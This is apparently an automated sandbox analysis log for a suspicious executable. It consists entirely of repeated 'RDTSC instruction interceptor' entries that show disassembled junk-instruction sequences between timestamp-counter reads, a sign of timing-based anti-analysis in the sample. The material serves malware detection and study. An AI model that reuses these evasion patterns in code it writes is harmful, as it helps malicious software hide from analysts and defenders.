Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66200D second address: 662019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662019 second address: 66201D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66201D second address: 662021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662021 second address: 662046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007FD2956E1658h 0x0000000f pushad 0x00000010 jo 00007FD2956E1626h 0x00000016 js 00007FD2956E1626h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662046 second address: 66204A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66204A second address: 66205C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6625F4 second address: 6625FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BC1 second address: 668BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BCC second address: 668BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BD2 second address: 668BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BD6 second address: 668BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FD295329656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BE7 second address: 668BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668BEF second address: 668C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD295329664h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6675CF second address: 6675D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6675D5 second address: 6675FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007FD29532966Fh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6675FE second address: 667604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 667A2D second address: 667A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 667A39 second address: 667A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD2956E1633h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 667EA0 second address: 667EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD295329656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668012 second address: 668018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668018 second address: 66801C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66801C second address: 668020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668197 second address: 66819B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66819B second address: 6681A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6681A1 second address: 6681C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD29532965Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668334 second address: 668340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD2956E1626h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6684DF second address: 6684E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6684E3 second address: 668504 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2956E1626h 0x00000008 jmp 00007FD2956E1637h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668504 second address: 668509 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668509 second address: 668517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668517 second address: 66851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66851B second address: 66852C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668A66 second address: 668A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 668A6B second address: 668A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E162Bh 0x00000009 jc 00007FD2956E1626h 0x0000000f popad 0x00000010 js 00007FD2956E162Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66727E second address: 66729A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD295329668h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 66729A second address: 6672C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD2956E1637h 0x0000000a jbe 00007FD2956E1626h 0x00000010 popad 0x00000011 pushad 0x00000012 jno 00007FD2956E1626h 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 672094 second address: 6720D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD295329656h 0x0000000a jmp 00007FD295329669h 0x0000000f jmp 00007FD29532965Dh 0x00000014 popad 0x00000015 pop eax 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD29532965Dh 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DADDB second address: 5DADDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DADDF second address: 5DAE00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD295329667h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DAE00 second address: 5DAE06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6719FA second address: 6719FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 671B97 second address: 671B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 676844 second address: 676848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 676848 second address: 67684E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 67684E second address: 676854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6769DB second address: 6769FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 676DB5 second address: 676DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD295329666h 0x00000009 jmp 00007FD295329661h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DC960 second address: 5DC980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD2956E1626h 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FD2956E1626h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007FD2956E1628h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DC980 second address: 5DC98B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD295329656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 67A2E2 second address: 67A2FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD2956E1634h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 67A2FC second address: 67A301 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 67C859 second address: 67C863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2956E1626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681064 second address: 681072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD29532965Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681072 second address: 681076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681076 second address: 6810A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FD295329658h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jc 00007FD295329658h 0x00000016 jmp 00007FD295329660h 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681236 second address: 68123E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68123E second address: 681254 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD29532965Ch 0x00000008 jl 00007FD295329662h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681254 second address: 68125A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 681392 second address: 6813BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD295329656h 0x0000000a jng 00007FD295329656h 0x00000010 popad 0x00000011 pushad 0x00000012 jp 00007FD295329656h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FD29532965Dh 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6813BD second address: 6813DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD2956E1626h 0x0000000a jc 00007FD2956E1626h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD2956E162Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6813DF second address: 6813E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6813E3 second address: 6813E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6813E9 second address: 6813EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6813EF second address: 6813F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A8AB second address: 62A8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68194B second address: 68194F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68194F second address: 68196F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329663h 0x00000007 jng 00007FD295329656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68B168 second address: 68B18C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2956E1626h 0x00000008 jmp 00007FD2956E1637h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68B18C second address: 68B19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68B19A second address: 68B1A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnp 00007FD2956E1626h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5DE436 second address: 5DE43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68945B second address: 68946E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68946E second address: 689474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689474 second address: 689479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689479 second address: 689493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FD295329656h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FD295329656h 0x00000014 jp 00007FD295329656h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689FBA second address: 689FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689FC0 second address: 689FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689FC4 second address: 689FCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 689FCA second address: 689FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD29532965Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68A5A7 second address: 68A5C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2956E1639h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68E35B second address: 68E35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68E35F second address: 68E365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68E7D5 second address: 68E7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD295329656h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jl 00007FD295329656h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EA99 second address: 68EAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EAA2 second address: 68EAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EAA8 second address: 68EAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68ED8B second address: 68ED8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68ED8F second address: 68EDAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FD2956E1632h 0x00000017 jo 00007FD2956E1626h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EDAE second address: 68EDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jc 00007FD295329656h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EDBC second address: 68EDD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1635h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EDD5 second address: 68EDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD295329656h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EF22 second address: 68EF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E1637h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EF3E second address: 68EF48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD295329656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 68EF48 second address: 68EF90 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2956E1626h 0x00000008 ja 00007FD2956E1626h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007FD2956E162Ah 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jp 00007FD2956E163Ch 0x00000023 push edi 0x00000024 pop edi 0x00000025 jmp 00007FD2956E1634h 0x0000002a pushad 0x0000002b jo 00007FD2956E1626h 0x00000031 js 00007FD2956E1626h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 693ED6 second address: 693F01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD295329664h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push edi 0x00000011 pop edi 0x00000012 jbe 00007FD295329656h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 693F01 second address: 693F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
